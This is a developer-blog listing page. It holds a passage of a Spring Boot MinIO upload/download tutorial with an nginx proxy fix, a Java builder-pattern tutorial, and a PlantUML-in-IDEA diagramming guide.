import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/**
* @description: minio工具类
* @author:weirx
* @date:2021/8/25 10:03
* @version:3.0
*/
@Component
public class MinioUtil {

@Value("${minio.bucketName}")
private String bucketName;

@Autowired
private MinioClient minioClient;

/**
* description: 判断bucket是否存在,不存在则创建
*
* @return: void
* @author: weirx
* @time: 2021/8/25 10:20
*/
public void existBucket(String name) {
try {
boolean exists = minioClient.bucketExists(BucketExistsArgs.builder().bucket(name).build());
if (!exists) {
minioClient.makeBucket(MakeBucketArgs.builder().bucket(name).build());
}
} catch (Exception e) {
e.printStackTrace();
}
}

/**
* description: 上传文件
*
* @param multipartFile
* @return: java.lang.String
* @author: weirx
* @time: 2021/8/25 10:44
*/
public List<String> upload(MultipartFile[] multipartFile) {
List<String> names = new ArrayList<>(multipartFile.length);
for (MultipartFile file : multipartFile) {
String fileName = file.getOriginalFilename();
String[] split = fileName.split("\\.");
if (split.length > 1) {
fileName = split[0] + "_" + System.currentTimeMillis() + "." + split[1];
} else {
fileName = fileName + System.currentTimeMillis();
}
InputStream in = null;
try {
in = file.getInputStream();
minioClient.putObject(PutObjectArgs.builder()
.bucket(bucketName)
.object(fileName)
.stream(in, in.available(), -1)
.contentType(file.getContentType())
.build()
);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
names.add(fileName);
}
return names;
}

/**
* description: 下载文件
*
* @param fileName
* @return: org.springframework.http.ResponseEntity<byte [ ]>
* @author: weirx
* @time: 2021/8/25 10:34
*/
public ResponseEntity<byte[]> download(String fileName) {
ResponseEntity<byte[]> responseEntity = null;
InputStream in = null;
ByteArrayOutputStream out = null;
try {
in = minioClient.getObject(GetObjectArgs.builder().bucket(bucketName).object(fileName).build());
out = new ByteArrayOutputStream();
IOUtils.copy(in, out);
//封装返回值
byte[] bytes = out.toByteArray();
HttpHeaders headers = new HttpHeaders();
try {
headers.add("Content-Disposition", "attachment;filename=" + URLEncoder.encode(fileName, Constants.UTF_8));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
headers.setContentLength(bytes.length);
headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
headers.setAccessControlExposeHeaders(Arrays.asList("*"));
responseEntity = new ResponseEntity<byte[]>(bytes, headers, HttpStatus.OK);
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (in != null) {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (out != null) {
out.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
return responseEntity;
}
}

关于上面的下载文件的返回值问题,我们前端统一返回是这样,如果其他项目想要使用可以自行修改啊,直接ResponseBody下载,等等的。此处主要参考如何使用MinioClient上传,下载文件就好了。

五、测试一波

我们使用了springboot集成knife4j,直接通过网关访问接口文档,postman也是一样的啊。我提供下面几个简单的接口来测试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
less复制代码    @ApiOperation(value = "minio上传测试")
@PostMapping("/upload")
public List<String> upload(@RequestParam(name = "multipartFile") MultipartFile[] multipartFile) {
return minioUtil.upload(multipartFile);
}

@ApiOperation(value = "minio下载测试")
@GetMapping("/download")
public ResponseEntity<byte[]> download(@RequestParam String fileName) {
return minioUtil.download(fileName);
}

@ApiOperation(value = "minio创建桶")
@PostMapping("/existBucket")
public void existBucket(@RequestParam String bucketName) {
minioUtil.existBucket(bucketName);
}

接口页面上传文档看看:

image.png
一个坑来了,发现返回成功了,文件名称。但是在minio的控制台没有数据啊?

image.png

一看后台报错了,好长一片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
php复制代码error occurred
ErrorResponse(code = SignatureDoesNotMatch, message = The request signature we calculated does not match the signature you provided. Check your key and signing method., bucketName = esmp, objectName = null, resource = /esmp, requestId = 169E753DE01FE2AF, hostId = 29aa9dc9-661b-432e-a25f-9856ad3a8250)
request={method=GET, url=http://172.16.3.28:10000/esmp?location=, headers=Host: 172.16.3.28:10000
Accept-Encoding: identity
User-Agent: MinIO (Windows 10; amd64) minio-java/8.2.1
Content-MD5: 1B2M2Y8AsgTpgAmY7PhCfg==
x-amz-content-sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date: 20210825T052344Z
Authorization: AWS4-HMAC-SHA256 Credential=*REDACTED*/20210825/us-east-1/s3/aws4_request, SignedHeaders=content-md5;host;x-amz-content-sha256;x-amz-date, Signature=*REDACTED*
}
response={code=403, headers=Server: nginx/1.20.1
Date: Wed, 25 Aug 2021 05:23:43 GMT
Content-Type: application/xml
Content-Length: 367
Connection: keep-alive
Accept-Ranges: bytes
Content-Security-Policy: block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Request-Id: 169E753DE01FE2AF
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
}

at io.minio.S3Base.execute(S3Base.java:667)
at io.minio.S3Base.getRegion(S3Base.java:691)
at io.minio.S3Base.putObject(S3Base.java:2003)
at io.minio.S3Base.putObject(S3Base.java:1153)
at io.minio.MinioClient.putObject(MinioClient.java:1666)
at com.vtc.minio.util.MinioUtil.upload(MinioUtil.java:72)
at com.mvtech.graph.ui.GraphCanvasUI.upload(GraphCanvasUI.java:84)
at com.mvtech.graph.ui.GraphCanvasUI$$FastClassBySpringCGLIB$$5138ff62.invoke(<generated>)
at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218)
at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:771)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163)
at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:749)
at com.baidu.unbiz.fluentvalidator.interceptor.FluentValidateInterceptor.invoke(FluentValidateInterceptor.java:211)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:175)
at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:749)
at org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke(ExposeInvocationInterceptor.java:95)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186)
at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:749)
at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:691)
at com.mvtech.graph.ui.GraphCanvasUI$$EnhancerBySpringCGLIB$$e773947f.upload(<generated>)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:105)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:878)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:792)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1040)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:943)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:665)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:750)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at com.github.xiaoymin.knife4j.spring.filter.ProductionSecurityFilter.doFilter(ProductionSecurityFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at com.github.xiaoymin.knife4j.spring.filter.SecurityBasicAuthFilter.doFilter(SecurityBasicAuthFilter.java:90)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:92)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:113)
at com.botany.spore.core.page.PageRequestFilter.doFilterInternal(PageRequestFilter.java:92)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter.doFilterInternal(WebMvcMetricsFilter.java:109)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:374)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)

什么原因呢?因为我的minio是集群模式的,所以我用nginx负载了,此处就报错了,关于错误的nginx配置和如何搭建环境都在我文章看开头提的上一篇文章中。

此处改成单节点的配置立马就好了,由负载端口10000改成单节点端口9000,之后就都ok了,无论上传下载:

1
2
3
4
5
yaml复制代码minio:
endpoint: http://172.16.3.28:9000
accessKey: admin
secretKey: 12345678
bucketName: aaa

如何解决nginx负载的问题呢?
这个问题和nginx反向代理作转发的时候所携带的header有关系,minio在校验signature是否有效的时候,必须从http header里面获取host,而我们这里没有对header作必要的处理。所以我们需要增加以下的配置:

1
bash复制代码proxy_set_header Host $http_host;

完整的nginx配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
ini复制代码# For more information on configuration, see:
# * Official English Documentation: http://nginx.org/en/docs/
# * Official Russian Documentation: http://nginx.org/ru/docs/

user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;

# Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf;

events {
worker_connections 1024;
}

http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log /var/log/nginx/access.log main;

sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 4096;

include /etc/nginx/mime.types;
default_type application/octet-stream;

# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include /etc/nginx/conf.d/*.conf;

upstream minio {
server 172.16.3.28:9000 fail_timeout=10s max_fails=2 weight=1;
server 172.16.3.29:9000 fail_timeout=10s max_fails=2 weight=1;
server 172.16.3.30:9000 fail_timeout=10s max_fails=2 weight=1;
}

upstream minio-console {
server 172.16.3.28:10001 fail_timeout=10s max_fails=2 weight=1;
server 172.16.3.29:10001 fail_timeout=10s max_fails=2 weight=1;
server 172.16.3.30:10001 fail_timeout=10s max_fails=2 weight=1;
}

server {
listen 10000;
root /usr/share/nginx/html;
client_max_body_size 100m; # 文件最大不能超过100MB
# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;

location / {
proxy_pass http://minio;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-for $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $remote_addr;
proxy_set_header Host $http_host;
}

error_page 404 /404.html;
location = /404.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}

server {
listen 11000;
root /usr/share/nginx/html;

# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;

location / {
proxy_pass http://minio-console;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-for $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $remote_addr;
proxy_set_header Host $http_host;
}

error_page 404 /404.html;
location = /404.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}
}

再次上传测试,成功了:

image.png


到此为止就全部完成啦!需要作为starter的小伙伴不要忘记配置spring.factories.

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

建造者模式——链式调用

发表于 2021-10-12

小知识,大挑战!本文正在参与「程序员必备小知识」创作活动

本文已参与「掘力星计划」,赢取创作大礼包,挑战创作激励金。


哈喽,大家好,我是一条~

之前的《白话设计模式》因为工作被搁置,如今再次启航,并搭配框架源码解析一起食用,将理论与实战完美结合。

对设计模式不是很熟悉的同学可以先看一下《23种设计模式的一句话通俗解读》全面的了解一下设计模式,形成一个整体的框架,再逐个击破。

上期原型模式发布以后,收到了粉丝的感谢,一条创作的动力更足了。

今天我们一块看一下建造者模式,同样是创建型设计模式。

定义

官方定义

将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。

通俗解读

提供一种创建对象的方式,创建的东西细节复杂,还必须暴露给使用者。屏蔽过程而不屏蔽细节。

类似建房子,只需要把材料和设计图纸给工人,就能建成想要的房子,不关注工人建房子的过程,但对于细节,我们又可以自己设计。

结构图

代码演示

本文源码:建造者模式 提取码: vpqt

目录结构

建议跟着一条学设计模式的小伙伴都建一个maven 工程,并安装lombok依赖和插件。

并建立如下包目录,便于归纳整理。


pom如下

1
2
3
4
5
xml复制代码    <dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.16.10</version>
</dependency>

开发场景

现在有一个手机的建造者,我要让它为我生产不用品牌和配置的手机。该怎么实现?

代码演示

1.创建手机类

1
2
3
4
5
6
7
8
9
10
11
java复制代码@Data
public class Phone {
//处理器
protected String cpu;
//内存
protected String mem;
//磁盘
protected String disk;
//屏幕大小
protected String size;
}

2.创建建造者接口

1
2
3
4
5
6
7
8
9
10
11
12
java复制代码//定义建造者的模板方法
public interface Builder {
Phone phone = new Phone();
void buildCpu(String cpu);
void buildMem(String mem);
void buildDisk(String disk);
void buildSize(String size);

default Phone getPhone(){
return phone;
}
}

3.创建Vivo手机的建造者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
java复制代码public class VivoPhoneBuilder implements Builder{
//建造者细节的实现
@Override
public void buildCpu(String cpu) {
phone.cpu=cpu;
}

@Override
public void buildMem(String mem) {
phone.mem=mem;
}

@Override
public void buildDisk(String disk) {
phone.disk=disk;
}

@Override
public void buildSize(String size) {
phone.size=size;
}
}

4.创建测试类

1
2
3
4
5
6
7
8
9
10
11
java复制代码public class MainTest {
public static void main(String[] args) {
VivoPhoneBuilder builder = new VivoPhoneBuilder();
builder.buildCpu("888");
builder.buildDisk("512");
builder.buildMem("16");
builder.buildSize("plus");
Phone phone = builder.getPhone();
System.out.println(phone);
}
}

5.输出结果

如果我这时需要生产OPPO手机,只需新建一个OppoPhoneBuilder实现Builder接口即可。

链式调用

相信大家在开发中都遇见过这样的代码,像链子一样可以一直调用下去。

那么如何实现链式建造者呢?

有以下两种方式:

1.修改返回值为Builder

1
2
3
4
5
6
7
8
9
10
11
12
java复制代码public interface Builder {
Phone phone = new Phone();
// void 改为 Builder 同步修改实现类
Builder buildCpu(String cpu);
Builder buildMem(String mem);
Builder buildDisk(String disk);
Builder buildSize(String size);

default Phone getPhone(){
return phone;
}
}

测试1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
java复制代码public class MainTest {
public static void main(String[] args) {
// ……

VivoPhoneBuilder builder2 = new VivoPhoneBuilder();
Phone phone1 = builder2
.buildCpu("888")
.buildDisk("512")
.buildMem("16")
.buildSize("plus")
.getPhone();
System.out.println("phone1:"+phone1);
}
}

结果1

2.使用lombok

1
2
3
4
5
6
7
java复制代码@Data
@Builder //使用链式建造者
@NoArgsConstructor
@AllArgsConstructor
public class Phone {
// ……
}

测试2

1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码public class MainTest {
public static void main(String[] args) {

// ……

Phone build = Phone.builder()
.cpu("888")
.mem("16")
.disk("512")
.size("plus").build();
System.out.println("builder:"+build);
}
}

结果2

应用场景

  • StringBuilder:append(); 给谁append呢?
1
2
3
4
5
6
7
8
9
java复制代码    public AbstractStringBuilder append(String str) {
if (str == null)
return appendNull();
int len = str.length();
ensureCapacityInternal(count + len);
str.getChars(0, len, value, count);
count += len;
return this;
}
  • Swagger-ApiBuilder;
  • 快速实现:Lombok-@Builder

总结

建造者模式提供了对于同一构建过程的不同表示,像流水线一样生产对象。对于新增的对象,只需要创建对应的建造者即可,不需要修改源代码。

lombok为我们提供了建造者模式的快速实现(@Builder),要应用到实际编码中。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

横空出世!IDEA画图神器来了,比Visio快10倍!

发表于 2021-10-12

程序员在工作中,经常会有绘制时序图、流程图的需求,尤其是在写文档的时候。平时我们会选择ProcessOn这类工具来绘制,但有时候用代码来画图可能会更高效一点,毕竟没有比程序员更熟悉代码的了。今天给大家推荐一款画图工具PlantUML,可以配合IDEA使用,画图更高效!

SpringBoot实战电商项目mall(50k+star)地址:github.com/macrozheng/…

PlantUML简介

PlantUML是一款开源的UML图绘制工具,支持通过文本来生成图形,使用起来非常高效。可以支持时序图、类图、对象图、活动图、思维导图等图形的绘制。

下面使用PlantUML来绘制一张流程图,可以实时预览,速度也很快!

安装

通过在IDEA中安装插件来使用PlantUML无疑是最方便的,接下来我们来安装下IDEA的PlantUML插件。

  • 首先在IDEA的插件市场中搜索PlantUML,安装这个排名第一的插件;

  • 有时候网络不好的话可能下载不下来,可以点击Plguin homepage按钮访问插件主页,然后选择合适的版本下载压缩包;

  • 下载成功后,选择从本地安装即可。

使用

接下来我们使用PlantUML插件分别绘制时序图、用例图、类图、活动图、思维导图,来体验下PlantUML是不是真的好用!

时序图

时序图(Sequence Diagram),是一种UML交互图。它通过描述对象之间发送消息的时间顺序显示多个对象之间的动态协作。我们在学习Oauth2的时候,第一步就是要搞懂Oauth2的流程,这时候有个时序图帮助可就大了。下面我们使用PlantUML来绘制Oauth2中使用授权码模式颁发令牌的时序图。

  • 首先我们需要新建一个PlantUML文件,选择时序图;

  • 我们可以通过PlantUML提供的语法来生成Oauth2的时序图,语法还是非常简单的,具体内容如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
puml复制代码@startuml
title Oauth2令牌颁发之授权码模式

actor User as user
participant "User Agent" as userAgent
participant "Client" as client
participant "Auth Login" as login
participant "Auth Server" as server

autonumber
user->userAgent:访问客户端
activate userAgent
userAgent->login:重定向到授权页面+clientId+redirectUrl
activate login
login->server:用户名+密码+clientId+redirectUrl
activate server
server-->login:返回授权码
login-->userAgent:重定向到redirectUrl+授权码code
deactivate login
userAgent->client:使用授权码code换取令牌
activate client
client->server:授权码code+clientId+clientSecret
server-->client:颁发访问令牌accessToken+refreshToken
deactivate server
client-->userAgent:返回访问和刷新令牌
deactivate client
userAgent--> user:令牌颁发完成
deactivate userAgent
@enduml
  • 该代码将生成如下时序图,用写代码的方式来画时序图,是不是够炫酷;

  • 本时序图关键说明如下:
    • title可以用于指定UML图的标题;
    • 通过actor可以声明人形的参与者;
    • 通过participant可以声明普通类型的参与者;
    • 通过as可以给参与者取别名;
    • 通过->可以绘制参与者之间的关系,虚线箭头可以使用-->;
    • 在每个参与者关系后面,可以使用:给关系添加说明;
    • 通过autonumber我们可以给参与者关系自动添加序号;
    • 通过activate和deactivate可以指定参与者的生命线。
  • 这里还有个比较神奇的功能,当我们右键时序图时,可以生成一个在线访问的链接;

  • 直接访问这个链接,可以在线访问UML时序图,并进行编辑,是不是很酷!

用例图

用例图(Usecase Diagram)是用户与系统交互的最简表示形式,展现了用户和与他相关的用例之间的关系。通过用例图,我们可以很方便地表示出系统中各个角色与用例之间的关系,下面我们用PlantUML来画个用例图。

  • 首先我们需要新建一个PlantUML文件,选择用例图,该用例图用于表示顾客、主厨、美食家与餐馆中各个用例之间的关系,具体内容如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puml复制代码@startuml
left to right direction
actor Guest as g
package Professional {
actor Chief as c
actor "Food Critic" as fc
}
package Restaurant {
usecase "Eat Food" as uc1
usecase "Pay For Food" as uc2
usecase "Drink" as uc3
usecase "Review" as uc4
}
g--> uc1
g--> uc2
g--> uc3
fc--> uc4
@enduml
  • 该代码将生成如下用例图;

  • 本用例图关键说明如下:
    • left to right direction表示按从左到右的顺序绘制用例图,默认是从上到下;
    • 通过package可以对角色和用例进行分组;
    • 通过actor可以定义用户;
    • 通过usecase可以定义用例;
    • 角色和用例之间的关系可以使用-->来表示。

类图

类图(Class Diagram)可以表示类的静态结构,比如类中包含的属性和方法,还有类的继承结构。下面我们用PlantUML来画个类图。

  • 首先我们需要新建一个PlantUML文件,选择类图,该图用于表示Person、Student、Teacher类的结构,具体内容如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puml复制代码@startuml
class Person {
# String name
# Integer age
+ void move()
+ void say()
}
class Student {
- String studentNo
+ void study()
}
class Teacher {
- String teacherNo
+ void teach()
}
Person <|-- Student
Person <|-- Teacher
@enduml
  • 该代码将生成如下类图,看下代码和类图,是不是发现和我们用代码定义类还挺像的;

  • 本类图关键说明如下:
    • 通过class可以定义类;
    • 通过在属性和方法左边加符号可以定义可见性,-表示private,#表示protected,+表示public;
    • 通过<|--表示类之间的继承关系。

活动图

活动图(Activity Diagram)是我们用的比较多的UML图,经常用于表示业务流程,比如电商中的下单流程就可以用它来表示。下面我们用PlantUML来画个活动图。

  • 首先我们需要新建一个PlantUML文件,选择活动图,这里使用了mall项目中购物车中生成确认单的流程,具体内容如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
puml复制代码@startuml
title 生成确认单流程
start
:获取购物车信息并计算好优惠;
:从ums_member_receive_address表中\n获取会员收货地址列表;
:获取该会员所有优惠券信息;
switch(根据use_type判断每个优惠券是否可用)
case(0)
:全场通用;
if (判断所有商品总金额是否\n满足使用起点金额) then (否)
:得到用户不可用优惠券列表;
stop
endif
case(-1)
:指定分类;
if (判断指定分类商品总金额\n是否满足使用起点金额) then (否)
:得到用户不可用优惠券列表;
stop
endif
case(-2)
:判断指定商品总金额是否满足使用起点金额;
if (判断指定分类商品总金额\n是否满足使用起点金额) then (否)
:得到用户不可用优惠券列表;
stop
endif
endswitch
:得到用户可用优惠券列表;
:获取用户积分;
:获取积分使用规则;
:计算总金额,活动优惠,应付金额;
stop
@enduml
  • 该代码将生成如下活动图,在活动图中我们既可以用if else,又可以使用switch,甚至还可以使用while循环,功能还是挺强大的;

  • 本活动图关键说明如下:
    • 通过start和stop可以表示流程的开始和结束;
    • 通过:和;中间添加文字来定义活动流程节点;
    • 通过if+then+endif定义条件判断;
    • 通过switch+case+endswitch定义switch判断。

思维导图

思维导图(Mind Map),是表达发散性思维的有效图形工具,它简单却又很有效,是一种实用性的思维工具。之前在我的mall学习教程中就有很多地方用到了,下面我们用PlantUML来画个思维导图。

  • 首先我们需要新建一个PlantUML文件,选择思维导图,这里使用了mall学习路线中的大纲视图,具体内容如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
puml复制代码@startmindmap
+[#17ADF1] mall学习路线
++[#lightgreen] 推荐资料
++[#lightblue] 后端技术栈
+++_ 项目框架
+++_ 数据存储
+++_ 运维部署
+++_ 其他
++[#orange] 搭建项目骨架
++[#1DBAAF] 项目部署
+++_ Windows下的部署
+++_ Linux下使用Docker部署
+++_ Linux下使用Docker Compose部署
+++_ Linux下使用Jenkins自动化部署
--[#1DBAAF] 电商业务
---_ 权限管理模块
---_ 商品模块
---_ 订单模块
---_ 营销模块
--[#orange] 技术要点
--[#lightblue] 前端技术栈
--[#lightgreen] 进阶微服务
---_ Spring Cloud技术栈
---_ 项目部署
---_ 技术要点
--[#yellow] 开发工具
--[#lightgrey] 扩展学习
@endmindmap
  • 该代码将生成如下思维导图,其实使用PlantUML我们可以自己定义图形的样式,这里我自定义了下颜色;

  • 本思维导图关键说明如下:
    • 通过+和-可以表示思维导图中的节点,具有方向性;
    • 通过[#颜色]可以定义节点的边框颜色;
    • 通过_可以去除节点的边框;

总结

虽然目前可以绘制UML图的图形化工具很多,但是对于程序员来说,使用代码来绘图可能更直接,效率更高,尤其是配合IDEA使用。如果你想使用代码来绘图,不妨尝试下PlantUML吧。

参考资料

官方文档:plantuml.com/zh/

本文 GitHub github.com/macrozheng/… 已经收录,欢迎大家Star!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…496497498…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%